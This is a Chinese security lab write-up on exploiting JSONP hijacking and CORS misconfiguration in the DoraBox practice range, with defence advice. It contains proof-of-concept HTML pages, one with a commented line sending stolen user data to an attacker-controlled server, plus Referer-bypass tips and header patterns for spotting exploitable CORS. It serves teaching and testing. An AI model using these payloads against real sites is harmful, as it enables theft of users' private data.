writeup:DORABOX靶场CSRF(跨站请求伪造)实验

admin 2024年10月7日19:04:31评论34 views字数 3405阅读11分21秒阅读模式

-013-

DoraBox靶场搭建

DoraBox地址:

https://github.com/0verSp4ce/DoraBox

一键建站程序AppServDownload:

https://link.zhihu.com/?target=http%3A//prdownloads.sourceforge.net/appserv/appserv-win32-8.5.0.exe%3Fdownload

安装AppServ默认安装解压DoraBox到appserver的www目录下

修改conn.php配置文件

<?php
define("DB_HOST", "127.0.0.1"); //mysql_host
define("DB_USER", "root"); //mysql_user_name
define("DB_PASS", "12345678"); //mysql_user_pwd
define("DB_NAME", "pentest"); //mysql_db_name
?>

登录mysql 输入账号root的密码12345678

创建数据库pentest

create database pentest;

打开数据库pentest

use pentest;

导入数据到pentest库

source D:applicationAppServwwwDoraBoxpentest.sql

访问dorabox:

http://localhost/DoraBox/

JSONP劫持

说明

JSONP跨域漏洞,我们知道同源策略SOP(Same origin policy)是一种约定,它是浏览器最基本的安全功能,不同域之间相互请求资源算跨域,为了能跨域获取资源产生了JSONP。JSONP劫持,算是一种读取型的CSRF,在恶意的网页中构造恶意的JS代码,当用户点击该网页,由于目标站点存在JSONP劫持漏洞,因此会将用户的信息劫持,最后将用户的信息发送到攻击者的服务器。

漏洞利用

writeup:DORABOX靶场CSRF(跨站请求伪造)实验

构造攻击代码

jsonp.html

<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>JSONP劫持测试</title>
</head>
<body>
<script>
function test(data){
// 获取数据发送到攻击者服务器
// $.get('http://www.php.com:8088/index.html?value='+data.username);
// 弹出劫持的数据
alert(JSON.stringify(data));
}
</script>
<!-- 访问有jsonp漏洞的服务器-->
<script src="http://localhost/DoraBox/csrf/jsonp.php?callback=test"></script>
</body>
</html>

打开就可以获取到敏感信息

writeup:DORABOX靶场CSRF(跨站请求伪造)实验

有Referer限制

当JSONP服务端会校验Referer字段,也有一些特定绕过方式

1、空Referer

有时候JSONP服务端对Referer进行了校验,但并未对空Referer进行校验,此时我们就可以使用置空的Referer请求来绕过。

实现发送空Referer的请求的方法有三种:

  • 使用iframe标签+javascript伪协议

  • 使用meta标签

  • 从HTTPS向HTTP发起请求

2、Referer过滤不严格

防御建议

  • 若可行,则使用CORS替换JSONP实现跨域功能;

  • 应用CSRF防御措施来调用JSON文件:限制Referer 、CSRF Token等;

  • 严格设置Content-Type及编码(Content-Type: application/json; charset=utf-8 );

  • 严格过滤 callback 函数名及JSON里数据的输出;

CORS劫持

CORS(跨域资源共享——Cross-origin resource sharing)是H5提供的一种机制,WEB应用程序可以通过在HTTP增加字段来告诉浏览器,哪些不同来源的服务器是有权访问本站资源的,当不同域的请求发生时,就出现了跨域的现象。

writeup:DORABOX靶场CSRF(跨站请求伪造)实验

writeup:DORABOX靶场CSRF(跨站请求伪造)实验

先添加Origin头测试下

cors.html

<!-- cors.html -->
<!DOCTYPE html>
<html>
<head>
<title>cors exp</title>
</head>
<body>
<script type="text/javascript">
function cors() {
  var xhr = new XMLHttpRequest();
  xhr.onreadystatechange = function() {
  if(xhr.readyState === 4) {
    alert(xhr.responseText);
    }
  }
  xhr.open("GET","http://localhost/DoraBox/csrf/userinfo.php");
  xhr.send();
}
cors();
</script>
</body>
</html>

之间访问,可以看到弹出敏感信息

writeup:DORABOX靶场CSRF(跨站请求伪造)实验

下面有一些返回标识帮助我们快速确认一个网站是否存在cors漏洞:

最好的攻击案例:

Access-Control-Allow-Origin: https://attacker.com

Access-Control-Allow-Credentials: true

可能存在利用点:

Access-Control-Allow-Origin: null

Access-Control-Allow-Credentials: true

配置失误,但是几乎无法利用:

Access-Control-Allow-Origin: *

Access-Control-Allow-Credentials: true

或者只有一个:

Access-Control-Allow-Origin: *

Burpsuite自动增加Origin

在burpsuite勾选替换条件,自动增加Origin

writeup:DORABOX靶场CSRF(跨站请求伪造)实验

可以看响应Access-Control-Allow-Origin是否有foo.example.org

writeup:DORABOX靶场CSRF(跨站请求伪造)实验

cors漏洞危害

攻击者构造恶意的html页面,利用链接诱导受害者进行点击,从而获取到受害者的敏感信息

相比之下,CORS较JSONP更为复杂,JSONP只能用于获取资源(即只读,类似于GET请求),而CORS支持所有类型的HTTP请求功能更多。

修复防范

关闭非正式开启的CORS

白名单限制:定义“源”的白名单,避免使用正则表达式,不要配置Access-Control-Allow-Origin为通配符*或null,严格效验来自请求数据包中Origin的值

仅允许使用安全协议,避免中间人攻击

彻底的返回Vary: Origin右边,突破攻击者利用浏览器缓存进行攻击

避免将Access-Control-Allow-Credentials标头设置为true 替换值,跨域请求若不存在必要的凭证数据,则根据实际情况将其设置为false

限制跨域请求允许的方法,Access-Control-Allow-Methods替代的减少所涉及的方法降低风险

限制浏览器缓存期限:建议通过Access-Control-Allow-Methods和Access-Control-Allow-Headers限制,限制浏览器缓存信息的时间。通过配置Access-Control-Max-Age标头来完成,该头部接收时间数作为输入,该数字是浏览器保存缓存的时间的值,确保浏览器在短时间内可以更新策略

仅在接收到跨域请求时才配置有关于跨域的头部,并确保跨域请求是合法的源,以减少攻击者恶意利用的可能性。

LINKS

web靶场-DoraBox 多拉盒靶场搭建

https://zhuanlan.zhihu.com/p/595352236

JSONP跨域访问漏洞

https://blog.csdn.net/Echo__h/article/details/130465489

浅谈JSONP跨域漏洞

https://www.rstk.cn/news/742219.html?action=onClick

浅谈CORS跨域请求的简单请求和非简单请求https://www.jianshu.com/p/ebd498cc3c52

---

#END#

writeup:DORABOX靶场CSRF(跨站请求伪造)实验

原文始发于微信公众号(一盅清茶):writeup:DORABOX靶场CSRF(跨站请求伪造)实验

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月7日19:04:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   writeup:DORABOX靶场CSRF(跨站请求伪造)实验https://cn-sec.com/archives/2006992.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息